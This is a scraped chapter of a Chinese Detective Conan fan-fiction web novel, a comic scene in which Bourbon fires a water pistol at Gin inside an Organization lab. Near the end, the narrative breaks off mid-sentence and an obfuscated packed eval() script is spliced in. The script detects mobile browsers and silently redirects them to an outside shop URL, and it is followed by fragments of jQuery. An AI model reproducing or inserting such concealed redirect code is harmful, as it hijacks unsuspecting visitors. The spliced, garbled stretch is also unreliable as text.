文趣网 > 都市小说 > 降谷集卡日常 > 43.流言是怎么来的
    白纸黑字的纸质资料被人捏在手里,延伸而上的是一张常年不见阳光的苍白的脸,几乎完全西方人深邃立体的骨相,包着一层薄但算不上柔软的皮,比起狼虎豹这些兽类更像是鹰类的锐利眼眸,凝落在终年不化的雪海里的绿色眼眸,落在资料上的视线也同样冷淡犀利。

    “大,大哥,”站在他身后默默把自己盘成蚊香状的伏特加看着自己手里还在震动、不断发来消息的手机,有些结巴地说,“那个,呃,波,波本到了。”

    琴酒手上的资料已经翻到最后一页,他抬眼瞥了一眼自己时常会抽抽风的小弟,面无表情地吐出一句话:“让他进来。”

    “已,已经进来了,”伏特加触及琴酒状似不满的眼神,啪一下立正,语气急促又带点混乱地解释,“守门的那几个家伙根本拦不住波本,也不知道波本是从哪里——或许是白兰地那里拿到了A018实验所的通行证和构造图,现在完全就和回自己家一样进来了。”

    这真的不能怪那些人,谁不知道波本在组织里的风评——疯得厉害居然已经算得上夸奖的程度,敢拦他,是不怕死吗?

    琴酒显然不是什么情绪不稳定的大哥,他把手里的资料扔进旁边的碎纸机,从口袋里掏出烟盒,喉咙里闷着声嗯了一声,不太在意的样子。

    一旁站在房间角落许久没有动静的干邑此时突然诈尸:“琴酒大人,实验所内禁止吸烟,请您见谅。”

    已经叼在嘴里的香烟被琴酒冷冷地看他一眼,锋利的简直像要划开喉咙一样的目光抵在他脆弱的颈侧,干邑的身体忍不住开始颤抖。

    实验组的晋升机制和行动组情报组完全不同,他们并非以任务的完成度作为自己的KPI,也基本上不会直接动手杀人——当然实验被耗死的那些……器材并不算在内。

    以至于在面对这声名在外杀人如麻的组织Topkiller的时候,除了将颤抖的头颅垂得低些,除此之外生不出任何想法。

    站在琴酒另一侧的水无怜奈对于这样的局面只觉得讽刺,明明是视人命如草芥的隶属于实验组的代号成员,却在真正手染鲜血的琴酒面前瑟缩着发抖,犹如一只待宰的羔羊,他们似乎从来没有意识到,那些被人体实验所夺走的性命同样也是一个人类的重量。

    她当然不能出言嘲讽,作为CIA卧底的她,比起逞一时之快,深潜组织之中能够获得的情报当然更重要也更有分量。

    不过她不说,另有人说。

    “不会被我们组织最忠诚的走狗吓破了胆吧,干邑,”略微高昂的声音先一步从门缝里挤进来,纯白的门板被人用力甩在墙面上,一双满是笑意的灰紫色眼睛越过隔在中间的办公桌上乱七八糟堆放的一摞深蓝色文件夹,带着虚伪恶劣的调侃意味落在琴酒身上。

    降谷零慢吞吞地走进来,手上拎着一把看不出什么型号的手枪,漆黑的枪身在过白的灯光下显得无比冰冷。

    他环视一周,枪口指着房间里的人一个个点名:“干邑,不不不,我以后还是叫你小鹌鹑吧哈哈哈哈哈,这个名字多适合你;然后是……嗯……我记得你,你叫……”

    “水无,”水无怜奈冷静地接话,如同那天在车上一般,“水无怜奈。”

    “对对,水无,我记得你,”枪口在她身上多停留了两秒,让在一旁努力缩小存在感的伏特加都跟着忍不住揪心。

    谁知道波本那个疯子会干出什么事,这个代号成员预备役也真是胆大,还敢回话,就不怕波本兴致来了突然来一枪,要知道在组织里只有代号成员之间是禁止相互残杀的,预备役可不受这条规则的不会。

    更何况波本连这条BOSS亲自订下的规则都未必会遵守。

    毕竟实验所还有统一规定,非实验所安保人员不可携带枪支炸弹管制刀具汽油毒药钓鱼线口香糖等物品进入。

    伏特加深吸一口气,还没来得及吐出来,那道阴测测毒蛇一样的目光就已经缠过来。

    “伏特加,你还是老样子啊,”降谷零手里的手枪冲着他的方向晃动两下,看着他的身体逐渐僵硬,才忍不住哈哈大笑起来,“琴酒这只天天抓老鼠的猫身边却养了一只你这样老鼠胆子的小弟,还真是搞笑。”

    精神病,完全的精神病。

    伏特加闭上耳朵,试图躲避波本的精神攻击。

    随即又敬佩地看向身前不动如山的琴酒,果然大哥不愧是大哥。

    默默失去存在感的水无怜奈内心倒是有些犹豫,当然不仅仅是因为波本的疯癫——说实话她还有对犯罪分子的刻板印象在心里,所以接受起来甚至比伏特加他们还要顺畅,都是犯罪分子里还能是什么正常人。

    而是另外的事情,关于她在组织据点中听闻的最近愈演愈烈的关于琴酒和波本的二三事。

    她没有抬眼去看这两个对视线都相当敏感的当事人,在心中不断回味降谷零刚刚那些话的意味,由于波本刚刚忘记她的关系,略过了一些对于她的嘲讽,于是那段对伏特加的讥笑就格外显眼。

    波本他……该不会是吃醋了吧?

    水无怜奈在底层成员间听说的那些野史不断地跑出来攻击她理性的大脑,在她还因此而想东想西的时间,伏特加已经被嘲讽得遍体鳞伤。

    终于……枪口对准了琴酒。

    水无怜奈决定将这一次两个人之间的相处作为脑海里正式的印象底色,覆盖掉之前听来的风言风语,毕竟亲眼看到的才是最真实的。

    然后她就看到波本灰紫色的眼珠像一颗凝结着风暴海啸的雾蒙蒙的水晶球,恶劣的笑容在他那张年轻的娃娃脸上显然十分格格不入,像在玉石中非要嵌入一块随处可见的石头。

    紧接着波本上前两步,将将停在一个安全距离的边界上。

    那把看不出型号的枪依旧没有任何偏移地对着琴酒的脑袋,然后随着一声轻笑。

    在几名组织成员或震惊(干邑)或担忧(伏特加)或宕机(水无怜奈)的眼神中,戴着白色手套的手扣动扳机。

    而处于风暴中心的琴酒……完全没有躲。

    没有躲。

    水无怜奈看着细细的水流从枪□□出,极其精准地浇在琴酒叼着的还冒着点点火星的香烟上,又顺势落下去,从两腿之间落到地板上。

    真的没有躲欸。

    不管是知不知道波本手里的是水枪,没有躲这个动作就代表了很多事情,不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746760|206124||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    知道代表琴酒对波本有非同一般的信任,知道代表琴酒和波本私下里有非同一般的关系。

    水无怜奈默默在自己心中的卧底手册上记上一句话:琴酒和波本有一腿。

    “gin酱好像完全懒得理bourbon酱了呢,”萩原研二和诸伏景光一起把这个房间都检查一遍,才放下心来闲聊。

    “毕竟同样的场景已经发生很多次了,更何况实验所不允许带武器进入,”诸伏景光看着琴酒那张看似面无表情实则已经没招儿了的脸,忍不住笑起来,“上次是棒棒糖,上上次是彩带,上上上次是钞票,上上上上次是写着‘性感琴酒在线裸奔’的明信片……话说那么大一张的明信片到底是这么塞进这种和普通手枪外观完全一样的枪匣里的。”

    负责设计的萩原研二眨眨眼睛:“是魔法哦,scotch酱。”

    诸伏景光笑眯眯点点头,并没有深入探究的意思,也学着他的语调:“好的哦,雾岛酱。”

    房间里的一众人只看见一个坐在椅子上好不容易消停下来,又突然开始莫名其妙地笑的波本。

    “别发疯了,波本,”琴酒冷淡的声音响起,瞬间收获了其他三个人崇拜的目光,不过他完全没有在意,只是提起正题,“你说你能让雪莉继续研究。”

    “当然,”降谷零微微抬眸,一眼就注意到飘在琴酒两边,像两个石狮子一样歪着头研究那一头银发的萩原研二和诸伏景光,他没忍住又笑了一声,好在就波本现在在众人心中的形象,就算他贴着琴酒的耳朵放声大笑,他们也只会觉得波本又开始发疯了。

    说实话这样的人设还真是意外的不错,不管他做什么,组织里的那些家伙都会给他自动找一个理由——疯子要什么理由——这就是最好的理由。

    “波本,”琴酒冷冷地看着他发疯,似乎不太愿意和他多说,但又有BOSS的交代在前,只能木着脸冷冰冰威胁,“我的耐心有限。”

    “那你倒是叫我见雪莉啊,”降谷零无所畏惧地直视他的眼睛,甚至原本只是单纯不知道因为什么而开心的笑容也带着挑衅,轻柔的语调如同情人呢喃般吐出几个字,“gin酱。”

    “哇哦,真的叫出来了,”萩原研二有些惊讶地看着降谷零,那天晚上对方对于这个称呼的吐槽犹在耳边,“组织的流言蜚语又有新素材了,不知道在座几位的嘴巴严不严,今天的事能漏出去几分?”

    “琴酒肯定不会往外说,伏特加的话也应该还好,那名叫水无的预备役我倒是没接触过,不过看样子应该也不是会出去乱说话的样子,”诸伏景光还真顺着萩原研二的话开始分析,“干邑这位代号成员我以前虽然没有见过,但是听说过,据说他的解压方式是创作以周围人为原型的十八禁文章。”

    萩原研二震惊瞪眼:“啊?”

    诸伏景光严肃点头:“嗯。”

    唯一还要演一演的降谷零扬起头,试图把刚刚他们两个的对话从脑子里抛出去。

    实在忍耐不了对面人时不时突如其来的举动,琴酒脸色黑得像锅底,荣升成为现场最黑的那一个。

    他阴沉地看着降谷零:“伏特加,再搜一遍身,然后带他去见雪莉。”